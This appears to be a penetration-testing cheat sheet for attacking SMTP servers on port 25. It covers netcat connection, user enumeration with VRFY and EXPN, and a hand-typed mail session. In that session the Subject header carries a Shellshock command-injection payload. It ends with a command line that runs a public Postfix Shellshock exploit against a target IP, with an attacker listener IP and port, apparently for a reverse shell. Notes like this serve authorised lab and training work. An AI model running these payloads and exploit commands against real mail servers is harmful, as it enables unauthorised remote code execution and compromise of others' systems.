SMTP 25

Mail

Connection

nc -C {ip} 25

Basic commands

VRFY {user} - Check user existence
EXPN {user} - Check if the user belongs to a mailing list

Mail sending

mail
mail from:<whatever>
rcpt to:<[e-mail]>
data
To: <'[e-mail]'>
From: <'[e-mail]'>
Subject:() { :; };cmd
.
quit

May find a valid email from SMB share /home/ and ls

Postfix Shellshock (need valid rcpt to email address)

pentest_old/postfix-shellshock-nc.py at master · 3mrgnc3/pentest_oldGitHub

python2 ./postfix-shellshock-nc.py 10.11.1.231 [e-mail] 192.168.119.179 443